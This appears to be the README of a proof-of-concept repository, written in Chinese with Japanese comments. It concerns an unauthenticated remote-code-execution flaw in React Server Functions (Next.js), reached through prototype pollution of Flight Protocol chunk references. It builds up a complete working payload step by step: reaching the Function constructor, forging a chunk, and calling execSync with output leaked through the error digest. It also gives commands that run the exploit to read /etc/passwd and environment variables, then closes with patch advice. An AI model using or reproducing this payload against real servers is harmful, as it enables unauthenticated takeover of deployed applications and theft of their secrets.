这是关于 React Server Functions(Next.js 等)中远程代码执行(RCE)漏洞的验证代码。 利用原型污染,可在无需认证的情况下在服务器上执行任意代码。
注意:本仓库仅供教育/研究目的使用,严禁滥用。
React Flight Protocol 的反序列化处理对原型链的校验不充分,从而可通过 __proto__ 访问 Function 构造函数,进而执行任意 JavaScript 代码。
这是最简便的验证方式。
# 1. 脆弱なNext.jsサーバーを起動
docker compose up -d --build
# 1. エクスプロイトを実行(デフォルト: idコマンド)
docker compose run --rm poc
# 4. カスタムコマンドを実行
docker compose run --rm -e COMMAND="whoami" poc
docker compose run --rm -e COMMAND="cat /etc/passwd" poc
docker compose run --rm -e COMMAND="env" poc
# 5. サーバーを停止
docker-compose down
Next.js 等框架提供的服务端 API 功能。
// Server Action(サーバー側でのみ実行される関数)
async function submitForm(formData) {
'use server' // ← サーバー関数の宣言
// データベース操作など、サーバー側の処理
const result = await db.insert(formData)
return result
}
从客户端调用时:
客户端以称为“chunk(块)”的单位发送数据:
files = {
"0": (None, '["$1"]'), # チャンク0: チャンク1への参照
"1": (None, '{"object":"fruit","name":"$2:fruitName"}'), # チャンク1: チャンク2のfruitNameを参照
"2": (None, '{"fruitName":"cherry"}'), # チャンク2: 実際のデータ
}
在服务器端反序列化后:
{ object: 'fruit', name: 'cherry' }
关键在于 chunk 之间可以相互引用。
在修复提交之前,解析 chunk 引用时,并未验证键是否真实存在于对象上。
这样一来,就可以访问原型链。
files = {
"0": (None, '["$1:__proto__:constructor:constructor"]'),
"1": (None, '{"x":1}'),
}
引用解析过程:
チャンク1のオブジェクト → __proto__ → constructor → constructor → Function
结果:
[Function: Function] // Functionコンストラクタを取得!
将 chunk 0 设为对象,并把 then 属性设置为 Function 构造函数:
files = {
"0": (None, '{"then":"$1:__proto__:constructor:constructor"}'),
"1": (None, '{"x":1}'),
}
Next.js 代码(action-handler.ts:888,补丁之前):
boundActionArguments = await decodeReplyFromBusboy(
busboy,
serverModuleMap,
{ temporaryReferences }
)
该 await 会尝试调用 then 为 Function 构造函数的对象,从而引发错误:
SyntaxError: Unexpected token 'function'
at Object.Function [as then] (<anonymous>) {
digest: '1259793845'
}
虽然已经拿到了 Function 构造函数,但如何让它执行任意代码呢?
需要以下条件:
maple3142 的思路:构造一个让 chunk 0 引用自身的“伪造 chunk”。
files = {
"0": (None, '{"then": "$1:__proto__:then"}'), # 自分のthenをChunk.prototype.thenで上書き
"1": (None, '"$@0"'), # $@0 = チャンク0の「生」の表現
}
$@ 语法返回的是“原始 chunk”,而非已解析的值:
case "@":
return (
(obj = parseInt(value.slice(2), 16)), getChunk(response, obj)
);
结果:chunk 0 的 then 被替换为 Chunk.prototype.then。
Chunk.prototype.then = function (resolve, reject) {
switch (this.status) {
case "resolved_model":
initializeModelChunk(this); // ← ここに入る
}
// ...
}
将伪造 chunk 的 status 设置为 "resolved_model" 后,initializeModelChunk 会被调用:
files = {
"0": (None, '{"then": "$1:__proto__:then", "status": "resolved_model"}'),
"1": (None, '"$@0"'),
}
initializeModelChunk 内部:
function initializeModelChunk(chunk) {
var rawModel = JSON.parse(resolvedModel),
value = reviveModel(chunk._response, { "": rawModel }, "", rawModel, rootReference);
// ...
}
在这里会发生第二次求值。
React Flight Protocol 的 blob 处理($B 前缀):
case "B":
return (
obj = parseInt(value.slice(2), 16),
response._formData.get(response._prefix + obj) // ← ここを悪用
);
通过操纵伪造 chunk 的 _response,将 _formData.get 设为 Function 构造函数,并将 _prefix 设为要执行的代码:
crafted_chunk = {
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1, # toString()でエラーにならないように
"value": '{"then": "$B0"}', # blob参照でthenを設定
"_response": {
"_prefix": "process.mainModule.require('child_process').execSync('calc');",
"_formData": {
"get": "$1:constructor:constructor", # Functionコンストラクタ
},
},
}
files = {
"0": (None, json.dumps(crafted_chunk)),
"1": (None, '"$@0"'),
}
执行流程:
response._formData.get(response._prefix + "0")
↓
Function("process.mainModule.require('child_process').execSync('calc');0")
↓
// この関数がawaitされて呼び出される → コード実行!
poc.py 实现了上述 payload,并从错误消息中提取命令执行结果:
# コマンド出力をエラーのdigestフィールドに埋め込む
"_prefix": f"var res = process.mainModule.require('child_process').execSync('{EXECUTABLE}',{{'timeout':5000}}).toString().trim(); throw Object.assign(new Error('NEXT_REDIRECT'), {{digest:`${{res}}`}});"
只需在 HTTP 头中设置 Next-Action: x,攻击即可成立:
headers = {"Next-Action": "x"}
res = requests.post(BASE_URL, files=files, headers=headers)
重要:该攻击发生在反序列化期间,因此会在动作验证(getActionModIdOrError)之前被执行。
立即更新:将 React 和 Next.js 升级到最新版本
npm update react react-dom next
确认版本:
npm list react next
WAF/安全措施:
Next-Action 请求头# プロジェクトの脆弱性チェック
npm audit
本仓库仅用于教育/研究目的。
漏洞发现:maple3142 PoC 实现:本仓库作者